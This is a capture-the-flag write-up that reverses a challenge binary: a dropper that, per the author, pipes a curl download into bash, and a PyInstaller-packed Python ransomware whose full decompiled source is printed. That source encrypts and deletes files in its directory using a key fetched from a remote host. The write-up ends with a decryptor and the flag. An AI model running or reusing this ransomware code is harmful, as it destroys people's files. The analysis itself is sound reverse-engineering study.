Given a binary coded in c, let’s file it, disassemble, decompile, and run it

Alright it’s not stripped which means we can proceed to disassembling and decompilation


There are few things we need to notes, it execute a command in curl with specified user agent, has antidebug, and it pipe the result of curl to a bash. Let’s execute it

Alright it’s a ransomware. There are a few of couple things we need to do. Identify or find what’s inside that heroku app.

It concat 2 strings and hex value.

So in theory, the user agent is 0xdc9? Let’s try it out

bingo, we got the other file location. Let’s download it and analyse it

It’s stripped, but no “ELF” on the first 10 lines. Is it coded in C, C++ ??
answer: it’s python

Alright so it’s compiled. So how can we reverse this binary?
Using this reference: https://ctftime.org/writeup/27933
so, you need to use a tool called pyi-archive_viewer where then you need to extract the byter and modified some it parts to be able to decompile it using uncompyle6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
root@sibejat:~/sanitation_area# pyi-archive_viewer main_malware pos, length, uncompressed, iscompressed, type, name [(0, 230, 311, 1, 'm', 'struct'), (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), (5362, 5441, 12821, 1, 'm', 'pyimod03_importers'), (10803, 1819, 4025, 1, 's', 'pyiboot01_bootstrap'), (12622, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), (13756, 259, 321, 1, 's', 'pyi_rth_certifi'), (14015, 1331, 2390, 1, 's', ‘main_malware'), —————- SNIP —————- (8050377, 614, 4049, 1, 'x', 'include/python3.8/pyconfig.h'), (8050991, 20585, 87974, 1, 'x', 'lib/python3.8/config-3.8-x86_64-linux-gnu/Makefile'), (8071576, 2374970, 2374970, 0, 'z', 'PYZ-00.pyz')] ? X main_malware to filename? main_malware.bin ?Q |

alright, now that we got the byte code extracted, before modifying it to the pyc, modify it to match the firist line with you own magic number because when pyinstaller compiles a code, it put a magic number in the compiled code (reference: https://www.programmersought.com/article/82194419446/ )

Then add the magic number + ‘\x00’*12 + main_malware.bin. lastly, uncomplye6 it


Let’s take a look at the code below
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
import os from binascii import hexlify as lock from binascii import unhexlify as unlock import requests, sys from base64 import b64encode as encc def get_key(): getkey = requests.get('https://th1s-is-4-f4ke-fl4g.herokuapp.com/enckey', headers={'User-agent': '0xdc9'}) return str(getkey.text) def encrypt(plain, key): iterate = 0 a = int(lock(lock(lock(key.encode('utf-8'))))) b = plain b = int(lock(lock(b.encode('utf-8')))) while len(str(key)) > iterate: b = int(lock(str(b).encode('utf-8'))) ^ a iterate += 1 return b def getdir_path(): path = os.path.dirname(__file__) out = '' file_name = '' if len(path) == 0: path = os.getcwd() listi = os.listdir(path) for x in range(0, len(listi)): if os.path.isdir(path + '/' + listi[x]) == False: out += str(path + '/' + listi[x] + '\n') file_name += listi[x] + '\n' else: listi = os.listdir(path) for x in range(0, len(listi)): if os.path.isdir(path + '/' + listi[x]) == False: out += str(path + '/' + listi[x] + '\n') file_name += listi[x] + '\n' else: return ( out, file_name) def end_game(path, ext): key = get_key() a = path.split('\n') file = ext.split('\n') del a[len(a) - 1] del file[len(file) - 1] script_name = sys.argv[0] script_name = script_name.replace('./', '') for x in range(0, len(a)): if script_name not in file[x]: print(f"[+] Encrypting {a[x]}") with open(a[x], 'rb') as (f): c = f.read() try: dead = encrypt(c.decode('utf-8'), key) with open(file[x] + '.dc9', 'w') as (gg): gg.write(str(dead)) gg.close() os.system(f"rm {file[x]}") except: parse = encc(c) dead = encrypt(parse.decode('utf-8'), key) with open(file[x] + '.dc9', 'w') as (gg): gg.write(str(dead)) gg.close() os.system(f"rm {file[x]}") warning = requests.get('https://th1s-is-4-f4ke-fl4g.herokuapp.com/warning', headers={'User- agent': '0xdc9'}) with open('warning.txt', 'w') as (d): d.write(str(warning.text)) d.close() def main(): a, file = getdir_path() end_game(a, file) if __name__ == '__main__': main() |
So the main function use getdir path to get current directory where then it will return fixed path of the path value and path name. Lastly the original is deleted and leaving the encrypted original path behind. And when all processes is done, it fetch a warning text for us. Let’s figure how this custom encryption works.
1 2 3 4 5 6 7 8 9 |
def encrypt(plain, key): iterate = 0 a = int(lock(lock(lock(key.encode('utf-8'))))) b = plain b = int(lock(lock(b.encode('utf-8')))) while len(str(key)) > iterate: b = int(lock(str(b).encode('utf-8'))) ^ a iterate += 1 return b |
It’s a xor encryption with hexed keys and hexed plaintext. let’s get the key

Alright the key is apparently ’15’, so how can we recreate this? The output of the cipher is not a string. so, we would need to turn
b = int(lock(str(b).encode(‘utf-8’))) ^ a`
Into
b = int(unlock(str(int(b) ^ a).encode(‘utf-8′)))
And when it’s done, unhexlifying it should give us the plain text
1 2 3 4 5 6 7 8 9 |
def decrypt(cipher, key): iterate = 0 a = int(lock(lock(lock(key.encode('utf-8'))))) b = cipher while len(str(key)) > iterate: b = int(unlock(str(int(b) ^ a).encode('utf-8'))) iterate += 1 b = unlock(unlock(str(b).encode('utf-8'))) return b.decode(‘utf-8') |
But the question is, where is the flag?

Alright let’s use python console for the win

and we got the flag: rtl{r4nsom3_15_m4licious}